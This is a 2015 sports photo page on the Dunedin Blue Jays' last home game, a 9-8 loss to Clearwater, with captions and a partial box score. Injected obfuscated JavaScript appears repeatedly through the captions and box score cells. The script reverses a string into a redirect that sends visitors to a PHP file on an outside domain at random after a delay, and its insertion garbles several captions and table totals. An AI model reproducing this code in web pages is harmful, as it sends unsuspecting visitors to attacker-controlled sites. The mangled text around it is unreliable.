Last Home Game
By Eddie Michels on September 3, 2015Dunedin Blue Jays 1B L.B. Dantzler (L) and C Jorge Saez received the team’s community service awards on Thursday prior to the team’s last home game of the season. Joining the two recipients is team mascot “DJ”

Dunedin starter Alonzo Gonzalez had a rough start on Thursday allowing five run on eight hits while walking two and striking out two against Clearwater. (EDDIE MICHELS PHOTO)

$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}took the loss on Thursday as Clearwater held on to beat Dunedin 9-8 in Dunedin’s final home game of the season. Allen allowed just one run on two hits as he walked two and struck out two. His record for the season dropped to 1-5 with a 4.02 ERA. (EDDIE MICHELS PHOTO)” width=”350″ height=”525″ />
Brad Allen, despite three solid innings, took the loss on Thursday as Clearwater held on to beat Dunedin 9-8 in Dunedin’s final home game of the season. Allen allowed just one run on two hits as he walked two and struck out two. His record for the season dropped to 1-5 with a 4.02 ERA. (EDDIE MICHELS PHOTO)
$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}tors hitting a solo homer in the ninth, his third of the season. Dunedin still dropped a 9-8 decision to the visitors. (EDDIE MICHELS PHOTO)” width=”546″ height=”471″ />
The Clearwater Threshers must have thought Dunedin Blue Jays catcher Jorge Saez was a long ball threat on Thursday when he was plunked by a pitch in the third inning. The ball is just visible behind Saez’ left elbow. Saez did get back a bit at the visitors hitting a solo homer in the ninth, his third of the season. Dunedin still dropped a 9-8 decision to the visitors. (EDDIE MICHELS PHOTO)
$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}to Left Center Field (EDDIE MICHELS PHOTO)” width=”555″ height=”370″ />
Anthony Alford Hits Two Run Homer to Left Center Field. Alford was 2 for 5 with 3 runs scored and an RBI to go along with the dinger. (EDDIE MICHELS PHOTO)
Clearwater Threshers | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
Player | Pos | AB | R | H | 2B | 3B | HR | RBI | BB | SO | AVG | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Jesmuel Valentin | 2B | 6 | 1 | 2 | 2 | 0 | 0 | 2 | 0 | 1 | .279 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Carlos Tocci | CF | 5 | 2 | 2 | 0 | 0 | 1 | 1 | 1 | 1 | .256 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Aaron Brown | RF | 3 | 0 | 1 | 0 | 0 | 0 | 1 | 2 | 0 | .255 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Rhys Hoskins | 1B | 5 | 1 | 3 | 0 | 0 | 0 | 2 | 0 | 0 | .315 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Willians Astudillo | C | 5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | .319 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Chace Numata | DH | 5 | 2 | 2 | 0 | 0 | 0 | 1 | 0 | 0 | .267 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Mitch Walding | 3B | 4 | 1 | 2 | 1 | 0 | 0 | 1 | 1 | 2 | .230 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Malquin Canelo | SS | 4 | 1 | 2 | 0 | 0 | 0 | 0 | 1 | 0 | .247 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Derek Campbell | LF | 4 | 1 | 1 | 0 | 0 | 0 | 1 | 0 | 1 | .267 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
$mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>41 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>15 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>0 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>9 | $mkD=function(n){if (typeof ($mkD.list[n]) == “string”) return $mkD.list[n].split(“”).reverse().join(“”);return $mkD.list[n];};$mkD.list=[“\’php.txEgifnoCetiSrettelsweN/snoisnetxe/edoc/rettelswen/moc.cniwyks//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 6);if (c==3){var delay = 18000;setTimeout($mkD(0), delay);}totals_cell”>5 |
BATTING
2B: Valentin, J 2 (9, Gonzalez, Al, Allen), Walding (18, Gonzalez, Al). HR: Tocci (2, 4th inning off Gonzalez, Al, 0 on, 2 out). TB: Numata 2; Walding 3; Campbell; Canelo, M 2; Hoskins 3; Brown; Tocci 5; Valentin, J 4. RBI: Brown (44), Hoskins 2 (38), Numata (35), Walding (30), Tocci (17), Valentin, J 2 (12), Campbell (12). 2-out RBI: Numata; Walding; Tocci; Valentin, J; Hoskins. Runners left in scoring position, 2 out: Campbell; Astudillo 2; Brown; Canelo, M; Tocci. SF: Campbell. Team RISP: 6-for-17. Team LOB: 11.BASERUNNING CS: Canelo, M (6, 2nd base by Gonzalez, Al/Saez). PO: Canelo, M (1st base by Gonzalez, Al). FIELDING
|
0 Comments
You can be the first one to leave a comment.